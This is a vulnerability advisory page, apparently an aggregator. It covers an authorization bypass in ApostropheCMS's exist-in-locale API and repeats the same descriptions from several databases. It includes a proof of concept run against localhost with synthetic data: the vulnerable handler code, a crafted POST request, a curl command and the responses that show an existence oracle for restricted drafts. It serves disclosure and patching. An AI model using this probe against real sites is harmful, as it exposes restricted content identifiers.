CVE-2026-113660
ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.3
ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.
- Record
CVE-2026-113660- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
EUVDEUVD-2026-105208
4.3
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.
- Record
EUVD-2026-105208- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vmxh-77cw-65j7
4.3
ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers
Summary ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.
The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.
Details
Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529
Exact API route: POST /api/v1/@apostrophecms/i18n/exist-in-locale
The handler verifies only that the requester is authenticated:
if (!req.user) {
throw self.apos.error('notfound');
}
It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:
const found = await self.apos.doc.db.find({
aposLocale: `${locale}:${mode}`,
aposDocId: {
$in: ids.map(self.apos.doc.toAposDocId)
}
}).project({
_id: 1,
aposDocId: 1
}).toArray();
This query does not apply:
.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization
The endpoint accepts multiple IDs, making bulk probing possible.
Proof of Concept
The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID:
wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft
All credentials and cookies are intentionally redacted below.
POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json
{
"ids": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft",
"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
],
"locale": "fr",
"mode": "draft"
}
Equivalent command
curl -i -sS -X POST \
'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
-b /path/to/redacted-guest-cookie-jar.txt \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
--data-raw '{
"ids": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft",
"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
],
"locale": "fr",
"mode": "draft"
}'
Observed response
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{
"originalLocaleIds": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft"
],
"newLocaleIds": [
"wv2l4rbaplgzkg80zkne4aoz:fr:draft"
],
"aposDocIds": [
"wv2l4rbaplgzkg80zkne4aoz"
]
}
The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.
Authorization control Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:
GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json
Observed response:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
"name": "forbidden",
"data": {},
"message": "forbidden"
}
This demonstrates the authorization boundary clearly:
| Request | Result |
| ----------------------------------------------- | ----------------------------------- |
| Normal page API for the restricted draft | 403 Forbidden |
| exist-in-locale for the same restricted draft | 200 OK with localized document ID |
| exist-in-locale for a nonexistent ID | 200 OK with empty arrays |
Additional impact validation
The behavior was also tested across multiple locale and mode combinations:…
- Record
GHSA-vmxh-77cw-65j7- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
NVD
4.3
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.
- Record
CVE-2026-113660- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
OSV
4.3
ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.
- Record
CVE-2026-113660- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
OSVGHSA-vmxh-77cw-65j7
4.3
ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers
Summary ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.
The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.
Details
Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529
Exact API route: POST /api/v1/@apostrophecms/i18n/exist-in-locale
The handler verifies only that the requester is authenticated:
if (!req.user) {
throw self.apos.error('notfound');
}
It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:
const found = await self.apos.doc.db.find({
aposLocale: `${locale}:${mode}`,
aposDocId: {
$in: ids.map(self.apos.doc.toAposDocId)
}
}).project({
_id: 1,
aposDocId: 1
}).toArray();
This query does not apply:
.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization
The endpoint accepts multiple IDs, making bulk probing possible.
Proof of Concept
The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID:
wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft
All credentials and cookies are intentionally redacted below.
POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json
{
"ids": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft",
"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
],
"locale": "fr",
"mode": "draft"
}
Equivalent command
curl -i -sS -X POST \
'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
-b /path/to/redacted-guest-cookie-jar.txt \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
--data-raw '{
"ids": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft",
"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
],
"locale": "fr",
"mode": "draft"
}'
Observed response
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{
"originalLocaleIds": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft"
],
"newLocaleIds": [
"wv2l4rbaplgzkg80zkne4aoz:fr:draft"
],
"aposDocIds": [
"wv2l4rbaplgzkg80zkne4aoz"
]
}
The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.
Authorization control Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:
GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json
Observed response:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
"name": "forbidden",
"data": {},
"message": "forbidden"
}
This demonstrates the authorization boundary clearly:
| Request | Result |
| ----------------------------------------------- | ----------------------------------- |
| Normal page API for the restricted draft | 403 Forbidden |
| exist-in-locale for the same restricted draft | 200 OK with localized document ID |
| exist-in-locale for a nonexistent ID | 200 OK with empty arrays |
Additional impact validation
The behavior was also tested across multiple locale and mode combinations:…
- Record
GHSA-vmxh-77cw-65j7- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
apostrophenpm |
before 4.33.0 | 4.33.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-113660 is a medium vulnerability (CVSS 4.3) in Apostrophecms Apostrophe, published October 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 30th percentile. Fixed in apostrophe 4.33.0.
References
github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7
github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
github.com/apostrophecms/apostrophe/releases/tag/[email protected]
github.com/advisories/GHSA-vmxh-77cw-65j7
github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113660.json
nvd.nist.gov/vuln/detail/CVE-2026-113660
github.com/apostrophecms/apostrophe
Left out here: the rest of 2 source descriptions. The JSON record has them.